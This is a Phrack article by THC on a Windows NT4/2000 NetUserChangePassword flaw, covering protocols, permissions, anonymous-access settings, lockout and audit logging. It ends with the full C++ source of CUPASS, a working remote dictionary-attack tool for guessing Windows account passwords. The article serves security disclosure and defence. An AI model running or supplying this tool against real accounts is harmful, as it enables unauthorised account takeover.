added unreleased README
[oweals/thc-archive.git] / Papers / cupass.txt
1
2                              ==Phrack Inc.==
3
4                Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12
5
6 |=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=|
7 |=-----------------------------------------------------------------------=|
8 |=--------------=[ Doc Holiday / THC <holiday@thc.org> ]=----------------=|
9
10
11
12 ----|  INTRODUCTION
13
14
15
16 Microsoft has a known problem in Windows NT 4, that enables an attacker
17 to change the password of any user under special/default circumstances.
18
19
20 The same problem reappeared in Windows 2000 some days ago. The flaw exists
21 in Microsofts implementation of the NetUserChangePassword function.
22
23
24 These facts inspired me to write this article and CUPASS, a simple tool 
25 that starts a dictionary attack against user accounts. 
26
27
28 In this article I want to discuss all things worth knowing about the 
29 NetUserChangePassword problem.
30
31
32 Have fun while reading this article...
33
34
35 Doc Holiday /THC
36
37
38
39
40 ----| THE PASSWORD CHANGE PROTOCOLS
41
42
43 As a little background I will tell you something about the possibilites
44 to change a password in a Windows NT/W2K environment.
45
46
47 Windows 2000 supports several protocols for changing passwords which
48 are used under different circumstances. 
49
50
51 These protocols are 
52
53
54 - NetUserChangePassword protocol (we will call it NUCP)
55 - NetUserSetInfo protocol
56 - Kerberos change-password protocol
57 - Kerberos set-password protocol
58 - LDAP write-password attribute (presumes 128Bit SSL)
59 - XACT-SMB protocol (for LAN Manager compatibility)
60
61
62 Because there is a flaw in Microsofts implementation of the NUCP protocol,
63 we will have a deeper look at this one.
64
65
66
67 ----| PROTOCOL ELECTION
68
69
70 We can see that there are a lot of protocols for changing passwords in an 
71 Microsoft environment. Now I will show in which cases the NUCP is used:
72
73
74 case 1
75 ------
76
77
78 If a user changes his password by pressing CTRL+ALT+DELETE and pressing the 
79 "Change Password" button, the NUCP protocol is used, if the target is a
80 domain or the local member server or workstation.
81
82
83 If the target is a Kerberos realm, the Kerberos change-password protocol is 
84 used instead of NUCP.
85
86
87 case 2
88 ------
89
90
91 If a change password request is initiated from an Windows NT 3.x or NT 4
92 machine, the NUCP and/or NetUserSetInfo protocols are used.
93
94
95 case 3
96 ------
97
98
99 If a program uses the NUCP method on the Active Directory Services
100 Interface (ADSI), the IaDSUser interface first tries to change the
101 password with the LDAP protocol, and then by using the NUCP method.
102
103
104
105
106 ----| NUCP FUNCTION CALL
107
108
109 At this time we know that a lot of ways exist to change a users 
110 password. We also know in which cases NUCP is used.
111
112
113 Now we want to have a little look at the function NetUserChangePassword
114 itself. (More detailed information can be found at Microsoft's SDK!)
115
116
117
118 Prototype
119 ---------
120
121
122 The prototype of the NetUserChangePassword function is defined in
123 "lmaccess.h", and looks as follows:
124
125
126
127 NET_API_STATUS NET_API_FUNCTION
128 NetUserChangePassword (
129     IN  LPCWSTR   domainname OPTIONAL,
130     IN  LPCWSTR   username OPTIONAL,
131     IN  LPCWSTR   oldpassword,
132     IN  LPCWSTR   newpassword
133     );
134
135
136
137 The parameters are explained consecutively:
138
139
140
141 Parameters
142 ----------
143
144
145 ->domainname
146   ----------
147
148
149   Pointer to a null-terminated Unicode string that specifies the name of a 
150   remote server or domain. 
151
152
153 ->username
154   --------
155
156
157   Pointer to a null-terminated Unicode string that specifies a user name. 
158
159
160 ->oldpassword
161   -----------
162
163
164   Pointer to a null-terminated Unicode string that specifies the user's
165   old password on the server or domain. 
166
167
168 ->newpassword
169   -----------
170
171
172   Pointer to a null-terminated Unicode string that specifies the user's new
173   password on the server or domain.  
174
175
176
177 Return values
178 -------------
179
180
181 The return values are defined in "LMERR.H" and "WINERROR.H".
182
183
184 With a deeper look in this files we can see that if the function was executed
185 with success, the return value is 0 (zero) btw. NERR_Success.
186
187
188
189 The most important error values are:
190
191
192 ->ERROR_ACCESS_DENIED (WINERROR.H)
193   --------------------------------
194
195
196   Access is denied ;)
197
198
199   If the target is a NT Server/Domain Controller, and the
200   option "User Must Log On in Order to Change Password" is enabled,
201   this error code is the result of CUPASS. The password could
202   not be guessed :(
203
204
205   If the target is a W2K domain controller with AD installed,
206   and the EVERYONE group is removed from the group
207   "Pre-Windows 2000 compatible access", than this error code
208   is an result of NUCP.
209
210
211   In some cases this means the right password was guessed by
212   CUPASS, but could not be changed because of insufficient
213   permissions on the corresponding AD object.
214
215
216
217 ->ERROR_INVALID_PASSWORD (WINERROR.H)
218   -----------------------------------
219
220
221   The guessed password (oldpassword) was invalid
222
223
224
225 ->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)
226   -------------------------------------
227
228
229   The account is locked due to many logon tries.
230
231
232
233 ->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)
234   ------------------------------------------
235
236
237   Indicates a Windows NT Server could not be contacted or that
238   objects within the domain are protected such that necessary
239   information could not be retrieved.
240
241
242
243 ->NERR_UserNotFound (LMERR.H)
244   ---------------------------
245
246
247   The useraccount could not be found on the given server.
248
249
250
251 ->NERR_NotPrimary (LMERR.H)
252   -------------------------
253
254
255   The operation is only allowed on the PDC. This appears e.g. if 
256   you try to change passwords on a BDC.
257
258
259
260 This return values are evaluated by CUPASS. For all others, the numeric
261 value will be shown, and you can simply have a look at this files for 
262 the meaning of the errorcode.
263
264
265
266
267 MORE DETAILS ON NUCP API CALL
268 -----------------------------
269
270
271 The NUCP function is only available on Windows NT and Windows 2000
272 platforms.
273
274
275 As part of the LanMan-API the NUCP function is UNICODE only!!! 
276 This makes the programming a little bit harder, but not impossible :)
277
278
279 UNICODE on Windows is an topic for itself, and we dont want to talk more
280 about it here. Have a look at Microsofts msdn webpage or Charles
281 Petzolds book about Windows programming, if you are interested in this
282 topic.
283
284
285 For a successfull usage of NUCP, you have to link your program with the 
286 "Netapi32.lib" library!
287
288
289
290
291 ----| REQUIRED PERMISSIONS FOR NUCP 
292
293
294 NUCP is part of the Microsoft network management functions.
295 The management functions consists of different groups like
296 NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.
297
298
299 These functions are again splitted in Query Functions and Update Functions. 
300 Whilst query functions just allow to query informations, the update
301 functions allow changes on objects.
302
303
304 An example for a query function is e.g the NetUserEnum function which
305 provides information about all user accounts on a server. 
306
307
308 An example for an update function is the NetUserChangePassword function
309 which changes the password of a user account :)
310
311
312 Its easy to imagine, that query functions need less permissions than update
313 functions for beeing executed.
314
315
316
317 Lets have a look what permissions are needet:
318
319
320
321 WINDOWS NT
322 ----------
323
324
325 The query functions like NetGroupEnum, NetUserEnum etc. and can be
326 executed by all authenticated users.
327
328
329 This includes Anonymous users, if the RestrictAnonymous policy setting
330 allows anonymous access.
331
332
333 On a Windows NT member server, workstation or PDC, the
334 NetUserChangePassword function can only be (successfull) executed by
335 Administrators, Account Operators or the user of the account, if the option
336 'User Must Log On in Order to Change Password' for this user is enabled.
337
338
339 If 'User Must Log On in Order to Change Password'  is not enabled, a user can
340 change the password of any other user, as long he knows the actual password.
341
342
343
344 WINDOWS 2000
345 ------------
346
347
348 The query functions like NetGroupEnum, NetUserEnum etc. can be executed by
349 all authenticated users. This includes Anonymous users, if the
350 RestrictAnonymous policy setting allows anonymous access.
351
352
353 On a W2K member server or workstation the NetUserChangePassword function
354 should only be (successfully) executable by Administrators, Account
355 Operators or the user of the account.
356
357
358 That this isn't the case, can be shown with CUPASS, because here is the
359 flaw that Microsoft made with his implementation of NetUserChangePassword.
360
361
362 On W2K member servers and workstations, the NetUserChangePassword function
363 can be successfully executed by any user who knows the current password of
364 the attacked user account.
365
366
367
368 ( For your information:
369
370
371 The option 'User Must Log On in Order to Change Password' has been removed
372 >from W2K! )
373
374
375
376 On a W2K domain controller with Active Directory, access to an object is
377 granted based on the ACL of the object (Because W2K with installed AD
378 stores the user passwords in the AD in contrast to NT 3.x/4).
379
380
381 Network management query functions are permitted to all authenticated
382 users and the members of the group "Pre-Windows 2000 compatible access"
383 by the default ACL's.
384
385
386 Theoretical Network Management Update functions like NUCP are only
387 permitted to Administrators and Account Operators.
388
389
390 That this is not the case, can also be shown with CUPASS.
391
392
393 CUPASS works fine if AD is installed on the target system.
394
395
396 If the "everyone" group is removed from the
397 "Pre-Windows 2000 compatible access" group, the result of CUPASS will
398 be Errorcode 5, which means ACCESS_DENIED!.
399
400
401 My research shows that anyhow the password is guessed by CUPASS, but
402 can not be changed because of insufficient permissions on the AD object!
403
404
405
406 ----| ANONYMOUS CONNECT
407
408
409 There is something I didn't talk about much, the Anonymous User Problem,
410 also known as the NULL-User problem.
411
412
413 Lets have a short look at how the Anonymous security settings will take affect
414 to the NUCP problem:
415
416
417 -> W2K
418    ---
419
420
421    The value Data of the following registry value regulates the behaviour
422    of the operating system regarding to the NULL USER CONNECT.
423
424
425    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 
426    Value: RestrictAnonymous
427    Value Type: REG_DWORD
428
429
430    If RestrictAnonymous is set to 0 (zero), which is the default setting,
431    CUPASS will work properly.
432
433
434    If RestrictAnonymous is set to 1, what means the enumeration of SAM
435    accounts and names is not allowed, CUPASS will work properly.
436   
437    If RestrictAnonymous is set to 2, what means no access without explicit
438    anonymous permissions, there is no possibility to change the password
439    with NUCP :(
440    
441    Because the value 2 has comprehensive consequences to the behaviour of
442    the windows environment (e.g. Browser service will not work properly,
443    netlogon secure channels could not be established properly by member
444    workstations etc..) it is rare used. 
445
446
447    These settings are the same on W2K member server and W2K DC with AD!
448
449
450
451 -> NT4
452    ---
453  
454    The value Data of the following registry value regulates the behaviour
455    of the operating system regarding to the NULL USER CONNECT.
456
457
458    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 
459    Value: RestrictAnonymous
460    Value Type: REG_DWORD
461
462
463    Converse to W2K there are only two valid values 0 (zero) and 1 for
464    RestrictAnonymous.
465
466
467    If RestrictAnonymous is set to 0 (zero), which is the default setting,
468    CUPASS will work properly.
469
470
471    If RestrictAnonymous is set to 1, what means the enumeration of SAM
472    accounts and names is not allowed, CUPASS will work properly.
473
474
475
476
477
478
479 COMMON
480 ------
481
482
483 The process that calls the NetUserChangePassword function in some cases
484 must have the SE_CHANGE_NOTIFY_NAME privilege
485 (except for system account and members of the local Administrator group).
486 Per default this privilege is enabled for every account, but can be
487 disabled by the administrator.
488
489
490 SE_CHANGE_NOTIFY_NAME could not be found at the privileges,
491 because it is called "Bypass traverse checking"!
492
493
494 This is an declarative from Microsoft. I tried it, but I didn't find a case
495 in that this right was necessary to execute the NUCP function call.
496
497
498
499
500 ----| POLICY AND LOGGING
501
502
503 I will have a look for the policy settings, that will take affect to the
504 NUCP problem.
505
506
507
508 ACCOUNT POLICIES
509 ----------------
510
511
512 ->PASSWORD POLICY
513   ---------------
514   
515   The settings "Enforce password history" and  "Minimum password age"
516   will take effect to the result of CUPASS, in the way that CUPASS can't
517   "realy" change the password, and the error code 2245 will result. 
518  
519   But this doesn't matter, because we know the "old" password at this time,
520   and CUPASS just tried to replace the "old" password with the "old"
521   password again.
522     
523
524
525 ->ACCOUNT LOGOUT POLICY
526   ---------------------
527  
528   Account lockout treshold
529   ------------------------
530
531
532   The settings "Account lockout duration" and
533   "Reset Account lockout after ..." are only relevant if the
534   "Account lockout treshold" ist set to any value >0.
535
536
537   If the treshold is set, than this takes affect to the work of CUPASS,
538   because all attempts of CUPASS exceeding the treshold will lead to an
539   account lockout :(
540
541
542   However the Logout Policy ist not valid for the Administrator on NT4
543   environments, until the NT Reskit tool "Passprop" is used!
544   In this case even the Administator account will be locked
545   for network logons!
546
547
548   If we start CUPASS against any account of a W2K server or a W2K domain
549   controller with AD, this account is locked out, and even the
550   Administrator account is marked as "Account is locked out", too !
551
552
553   But it is still possible for the Administrator account to log on
554   interactive on the machine!
555
556
557   
558   
559
560
561
562 AUDIT POLICY
563 ------------
564
565
566   Lets have a look which auditing events have to enabled, to see an
567   CUPASS attack in the security logs of the target machine.
568
569
570   
571   Audit Account Management
572   ------------------------
573
574
575   If the setting "Audit Account Management" is enabled (success/failure),
576   an entry with the ID 627 appears in in the security log.
577
578
579   This entry contains all necessary datas for the administrator :(
580   These e.g. are: Date, Time, Target Account Name, Caller User Name etc.
581
582
583   
584   Audit account logon events
585   --------------------------
586
587
588   Surprisingly for some administrators, there appears no log entry if
589   the settings "Audit account logon events" or "Audit logon events"
590   are enabled, if the attack goes to the local machine.
591
592
593   This is e.g. the case if you want to guess the local administrator
594   password of your machine.
595
596
597   If the CUPASS attack comes from remote, log entries ID 681 and ID 529
598   occures.
599
600
601
602   Audit Object Access
603   -------------------
604   
605   If this type of auditing is enabled, and the attack goes to the
606   local machine, an logfile entry with the ID 560 and 562 appears.
607
608
609   ID 560 tells us that someone opened the object
610   "Security Account Manager" whilst 562 tells us something like
611   "Handle closed"...
612
613
614
615 Maybe there occure some more logfile entries with other ID's, but these
616 ones listed above are the ones I found while testing CUPASS.
617
618
619 So test CUPASS on your own environment and have a look into your logfiles!
620
621
622
623
624 ----| LAST WORDS
625
626
627 I hope this article could give you a little overview about the
628 NetUserChangePassword problem, and Microsoft's inconsequent implementation
629 of security and function calls.
630
631
632 This article could not treat this topic concluding, because there are
633 so many different situations and configurations that I could not test
634 in my short sparetime :)
635
636
637
638 ----| GREETS
639
640
641 Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac
642 and all the other members from THC, VAX who gives me a lift to HAL2001,
643 the guys from TESO, Seth, Rookie and all the other people knowing me...
644
645
646 The biggest THANX are going to my wife, who missed me nearly the whole
647 weekend while I was writing this article!
648  
649 Ok, have a nice day and lets meet and party at HAL2001 :)
650
651
652
653 <++> cupass.cpp !a10c7302
654 /*
655  * CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@thc.org>
656  * http://www.hackerschoice.com
657  *
658  * Dictionary Attack against Windows Passwords with NetUserChangePassword.
659  * Do only use for legal purposes.
660  * 
661  * Compiled and tested on Windows NT/W2K - runs not on Win9x!!
662  * Compiled with VC++ 6.0
663  *
664  */
665
666
667 #define UNICODE 1
668 #define _UNICODE 1
669
670
671 #include <windows.h>
672 #include <lmaccess.h>
673 #include <stdio.h>
674 #include <wchar.h>
675
676
677 #pragma comment( lib, "netapi32.lib" )
678
679
680
681 void wmain( int argc, wchar_t *argv[] )
682 {
683         wchar_t *hostname = 0; 
684         wchar_t *username = 0; 
685         wchar_t *dictfile = 0; 
686         wchar_t myChar[256];
687         NET_API_STATUS result;
688         FILE *stream;
689         LPWSTR oldpassword; 
690
691
692         if (argc != 4)
693         { 
694         wprintf (L"\nMissing or wrong parameters!\n"); 
695             wprintf (
696                L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
697             exit(1);
698         }
699
700
701         hostname = argv[1];
702         username = argv[2];
703         dictfile = argv[3];
704
705
706     if (wcsncmp(hostname, L"\\\\",2 )!=0)
707         {
708             wprintf (L"\nups... you forgot the double backslash?");
709             wprintf (
710                 L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
711             exit(1);
712         }
713
714
715   if( (stream  = _wfopen( dictfile, L"r" )) == NULL )
716         {
717       wprintf( L"\nups... dictionary %s could not be opened", dictfile );
718       wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
719         }
720    else
721    {
722         
723         wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n");
724         wprintf (L"\nStarting attack .....\n");
725         wprintf (L"\nTarget: %s ", hostname);
726         wprintf (L"\nUser: %s\n ", username);
727
728
729         while( !feof( stream ) )
730         {
731           fgetws (myChar, 256,stream);
732
733
734           if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0';
735           if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0';
736
737
738           oldpassword = myChar;
739    
740           wprintf( L"\nTrying password %s \n", oldpassword );
741                 
742           result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );
743                 
744           switch (result)
745           {
746                 case 0: 
747                         wprintf( L"GOTCHA!! Password was changed\n" );
748                         wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword);
749                         fclose (stream);
750                         exit (1);
751                         break;
752                         
753                 case 5: //ERROR_ACCESS_DENIED
754                         wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - But password could be %s\n", oldpassword);
755                         fclose (stream);
756                         exit(1);
757                         break;
758                         
759                 case 86: //ERROR_INVALID_PASSWORD
760                         wprintf( L"Attempt failed -> Incorrect password\n" );
761                         break;
762                         
763                 case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO 
764                         wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname);
765                         fclose (stream);
766                         exit(1);
767                         break;
768
769
770                 case 1909: //ERROR_ACCOUNT_LOCKED_OUT
771                         wprintf (L"Attempt failed -> Account locked out\n");
772                         fclose (stream);
773                         exit(1);
774                         break;
775
776
777                 case 2221: //NERR_UserNotFound) 
778                         wprintf (L"Attempt failed -> User %s not found\n", username);
779                         fclose (stream);
780                         exit(1);                   
781                         break;
782                         
783                 case 2226://NERR_NotPrimary
784                         wprintf (L"Attempt failed -> Operation only allowed on PDC\n");
785                         break;
786
787
788                 case 2245:
789                         wprintf (L"GOTCHA!! Password is '%s' , but couldn't be changed to '%s' due to password policy settings!\n", oldpassword, oldpassword);
790                         fclose(stream);
791                         exit(1);
792                         break;
793
794
795                 default:
796                         wprintf( L"\nAttempt failed :( %lu\n", result );
797                         fclose(stream);
798                         exit(1);
799                         break;
800                 }
801         }
802         fclose (stream); 
803    }    
804 }
805 <--> end cupass.cpp
806
807 |=[ EOF ]=---------------------------------------------------------------=|
808